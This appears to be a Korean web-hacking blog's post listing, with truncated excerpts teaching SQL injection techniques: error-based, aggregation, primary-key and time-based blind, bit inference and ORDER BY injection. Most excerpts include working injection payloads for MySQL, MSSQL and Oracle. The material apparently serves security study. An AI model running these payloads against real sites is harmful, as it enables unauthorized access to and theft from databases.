목록웹 해킹 (100)
Oh! JUN
※ MYSQL은 연결연산자가 특정기호가 없기 때문에 사용불가 ★ 되도록이면 INSERT, UPDATE, DELETE 구문은 사용하지 않는게 좋음. (데이터를 건들 수 있어서... 잘못하면 큰일남) ERROR-BASED MSSQL 공격 예시 1. INSERT INTO board VALUES('Data', ''+convert(int, @@version)+'', 'DATA') 2. UPDATE board SET title='DATA', content=''+convert(int, @@version)+''...WHERE idx=100 3. UPDATE board SET title='', content=''... WHERE idx=@@version 4. DELETE FROM board WHERE idx=@@vers..
지금까지 다중 레코드를 한번에 출력할 수 없기 때문에 순차적 레코드를 사용해서 하나씩 출력했는데 이번에 그룹핑을 활용해 한번에 출력시킬것이다. DBMS FUCTION MYSQL GROUP_CONCAT() MSSQL FOR XML PATH(), STRING_AGG() ORACLE LISTAGG() MSSQL 예시 1) FOR XML PATH 함수 사용 예시 select '###' + name from sysobjects where xtype='u' FOR XML PATH('') - STUFF 활용 예시(앞의 ### 제거) select stuff((select '###' + name from sysobjects where xtype='u' FOR XML PATH('')),1,3,'') 2) STRING_AG..
Primarykey-Based-SQL Injection이란 이름에서 예상할 수 있다시피 테이블 제작할때 Primarykey를 활용하는 방법이다. 해당 게시판에서의 PK는 idx이다. 공격 쿼리를 보면 ' and idx=ascii(substr((select user from dual),1,1))-- PK = ASCII 대입시켜서 참인경우 게시물이 검색되는 방법을 활용한 blind 공격이다. 그러다보니 PK의 범위가 ASCII에서 특수문자+숫자+대문자+소문자가 포함되어 있는 범주인 32~126가 포함되어야 공격가능하다. Burp 잡아서 ctrl + i 단축키 활용하면 Intruder로 넘어가게 되는데 clear § 누르고 여기서 반복되는 부분에 Add §를 두 번 추가하면 반복시킬 때 이 부분을 변수처럼 활..
Combination Technique Combination 1 ★Combination 2★ Combination 3 Combination 4 Content-Based + Response-Based + Time-Based Content-Based + Response-Based Content-Based + Time-Based Response-Based + Time-Based 기준4개 기준3개 Blind-SQL Injection 기법인 Content-Based, Response-Based, Time-Based중에서 여러개를 조합해서 Multiple Search Technique을 구현할 수 있다. 하지만, 이전에도 언급했다시피 Time-Based 기법은 시스템 환경에 따라 기준점이 다를 수 있고, 무엇보다도..
기존 blind_Sql_Injection은 기준을 하나 정하고 '참' 또는 '거짓'으로 판별을 했는데 문제가 시간이 굉장히 오래걸린다. 비트 데이터 추론 기법을 사용해도 7번을 '참' 또는 '거짓'을 확인해야 문자를 하나 알아낼 수 있다. 정보량이 적다면 문제되지 않지만 많을수록 카운트 하나 줄이는데 단축되는 시간이 크다. 그래서 이번에는 Multiple Search Technique 기법을 활용해서 카운트를 줄여볼것이다. 위 기법을 사용하기 위해서는 '참' 또는 '거짓'이 판별될 수 있는 기준이 2개 이상이 필요하다. 기존에는 '참'이면 'test1'이 출력되고 '거짓'이면 에러가 발생하거나 게시글이 존재하지 않는다. 로 판단할 수 있었는데 Multiple에서는 '참' '거짓'으로 'test1', 't..
※ Heavy Query Technique 쿼리에 무거운 작업을 요청해서 딜레이 시키는 공격 ' and (select case when 1=1 then (select count(*) from information_schema.schemata t1, information_schema.schemata t2, information_schema.schemata t3, information_schema.schemata t4, information_schema.schemata t5) else 1 end)=1# 참일 때 information_schema.schemata t1, information_schema.schemata t2, information_schema.schemata t3, information_sch..
게시물 수정 페이지에서 패스워드가 일치하면 정상적으로 수정되고 일치하지 않으면 이전페이지로 돌아가는 규칙을 활용할 것이다. MYSQL : DB 이름 1234' and 1=(select case when ascii(substring((select database()),1,1))&1=1 then sleep(2) else 1 end)# 수정완료 0 DB : b□□□□ 1234' and 1=(select case when ascii(substring((select database()),1,1))&2=2 then sleep(2) else 1 end)# 2초후 '패스워드가 일치하지 않습니다.' 1 1234' and 1=(select case when ascii(substring((select database()),..
# MYSQL Title 누르고 burp하면 sort_column, sort 파라미터 뜬다. case when 구문은 order by 절에도 사용할 수 있다. 쿼리 결과 select * from tb_board order by (select case when 1=1 then 'a' else (select 'a' union select 'b')end) desc; 내림차순 정렬 ('a' 컬럼 없어서 의미없음) select * from tb_board order by (select case when 1=2 then 'a' else (select 'a' union select 'b')end) desc; 다중 레코드 오류 Mysql : DB 이름 sort_column=(select case when ascii(s..